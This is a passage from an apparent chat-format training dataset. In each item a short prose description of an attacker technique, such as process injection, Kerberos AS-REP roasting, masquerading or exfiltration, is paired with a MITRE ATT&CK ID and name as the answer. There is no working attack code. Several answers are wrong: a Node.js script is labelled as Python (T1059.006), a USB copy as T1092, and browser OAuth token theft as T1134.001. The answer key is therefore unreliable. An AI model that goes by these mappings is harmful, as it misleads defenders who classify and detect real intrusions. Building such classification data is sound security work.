                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changed the file type signature of a malicious payload to mimic a legitimate .xls file."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses Reddit threads to locate discussions about recent security incidents at a specific enterprise."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor used a PowerShell script to mirror a network share's contents to a hidden directory."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware checks the system's uptime and only runs its payload after a specific number of hours have passed."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed data staging on compromised SharePoint sites, organizing files for bulk exfiltration later."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a vulnerable application that loads plugins, providing a malicious plugin that the dynamic linker loads instead of the legitimate one."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor creates a new self‑signed certificate to encrypt communications with command‑and‑control servers."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerable network service that repeatedly asks for credentials, capturing them when the user complies."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a Python-based backdoor to download additional payloads and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a rogue authentication method into a network device's firmware, allowing them to impersonate legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a malicious DLL as a server software component for Terminal Services, enabling them to execute code in the context of the RDP service."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor establishes a command‑and‑control server behind a CDN to hide its true location."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script adds a new subkey under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to store encrypted credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software exploits a vulnerable service by opening a handle to its process and using WriteProcessMemory followed by SetThreadContext to hijack a thread."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use SSH tunneling to forward internal traffic to an external host, allowing them to bypass firewall restrictions."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leveraged a misconfigured IIS virtual directory to upload a web shell, granting remote command execution capabilities."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group creates a fake charity website to collect donations and use the funds for attack infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses drive-by compromise attacks against organizations by exploiting vulnerabilities in web applications or plugins to infect users' devices with malware without their knowledge or interaction."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware invoked \"cmd.exe\" with the \"/Q\" flag to suppress command echo while executing embedded commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executed a batch script that recursively sets \"Everyone\" Full Control on key executable files to facilitate later stages."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a PowerShell script to call the AWS EC2 DescribeSecurityGroups API and then revoke all security group rules."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware establishes a DCOM connection to a remote system to run PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary's tool concatenates dummy data to exfiltrated archives, inflating the archives' size to bypass size‑based exfiltration alerts."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign uses a compromised email relay that proxies traffic through an allowed domain, modifying the Host header to a malicious endpoint to hide the true destination."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware installs a kernel‑mode driver that registers itself to load during boot and hooks LSASS to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor deploys a WMI __InstanceModificationEvent__ subscription to execute a payload each time the system's hostname changes."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used the \"python -c\" command to directly run one‑liner code that disables security tools."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a compromised Azure AD service principal to create new privileged accounts in the tenant."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors employ a compromised domain user’s Kerberos tickets to access file shares."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the AWS IAM ListUsers API to enumerate all cloud user accounts in the target environment."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker builds a malicious executable inside a compromised container and runs it to break out of the container and gain access to the underlying host operating system."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data is packaged using ASCII85 encoding to obscure its contents before transmission."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary disables the enforcement of Authenticode signatures on the target system through group policy alteration."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised installer embeds a malicious binary within the resources of a legitimate executable file, later extracting and executing it during runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes installing a systemd timer that periodically executes a backdoor, leveraging T1543.002."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware scans the file system for .ost and .pst files and parses them to compile a list of email accounts used by the user."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary reads the cgroup files in /sys/fs/cgroup/docker to discover container IDs."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copies 'taskmgr.exe' to 'calc.exe' and runs the copy to execute payloads while appearing as a calculator."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign leverages a malicious attachment that, when opened, sends system credentials to the attacker via an SMTP relay."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs process injection via the Thread Local Storage technique to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries retrieve configuration settings from OpenShift's etcd datastore to discover cluster secrets and tokens."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Incident response discovers that the threat actor uses a web‑based file sharing service to exfiltrate logs."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor executes a malicious Node.js script using the \"node\" interpreter to interact with the file system."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom script, the attacker installs a fraudulent code‑signing certificate on the target, allowing future payloads to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses XOR encryption on its payload files and stores the encrypted blobs in legitimate system directories."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage an internal reverse proxy to hide the origin of malicious traffic and bypass network defenses."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script copies a saved OAuth access token from a web browser's storage and uses it to call the target API."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "File deletion is used to remove traces of credential dumps and tool binaries from the host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the name \"explorer.exe\" for a malicious DLL and placed it in the same path as the genuine explorer executable."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script runs \"tcpdump\" to collect DNS queries and identify internal domain names and server IPs."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user installed a remote assistance tool that was later used by the attacker for command and control."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insiders harvest code‑signing certificates stored in Azure Key Vault to sign malicious PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Supply chain compromise via compromised developer credentials, allowing the attacker to push malicious code changes to the source code repository."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a scheduled job via the \"at\" utility to execute a payload during off‑hours."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDP brute force attacks for gaining access and exfiltrating data"
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor hijacks the Netsh helper DLL registration to execute a reverse shell payload each time netsh is executed by system processes."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider copies proprietary source code onto a USB stick and ships it overseas for further analysis."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a firmware vulnerability to render the TPM inoperable, weakening the device's encryption capabilities."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a remote exploit, the threat actor changes the authentication method on a wireless access point from WPA2‑Enterprise to a weak, attacker‑controlled RADIUS configuration."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By editing the user's .bash_profile, the threat actor inserts a directory containing malicious scripts at the start of the PATH, causing them to be invoked during normal command execution."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compromised service principal to query and retrieve email messages via Graph API."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Kerberos AS-REQ message, the threat actor harvests AS-REP responses from accounts lacking pre-authentication, allowing extraction of password hashes."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is embedded in a legitimate Windows service binary, with the payload XOR‑encrypted and decrypted at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group obtained a valid hardware token, cloned it, and used the duplicate to authenticate as the legitimate user, circumventing MFA protections."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker placed a malicious iframe on the login page of an internal web application, capturing entered credentials and forwarding them to a remote host."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware intercepts network packets and forwards duplicated traffic to an external C2 host for data theft."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a new Windows service using sc.exe to achieve persistence on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant runs PowerShell's Invoke-WebRequest against \"http://checkip.amazonaws.com\" to discover its internet connection details."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan leverages the NtCreateThreadEx system call to inject shellcode into a running notepad.exe instance."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes the system's built‑in script interpreter to launch a back‑door, exemplifying System Script Proxy Execution."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a compromised Azure AD application to call the Add-MailboxPermission cmdlet, granting themselves delegate access to Exchange Online mailboxes."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary crafts a malicious binary in a transacted file and then triggers its execution through a legitimate process, employing process doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party widget was used to inject a defacement message into the target website’s homepage."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ Oracle Cloud Infrastructure's Compute instances to establish remote sessions for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts the list of trusted domains and their transitive trusts from the Windows registry to map network trust dependencies."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
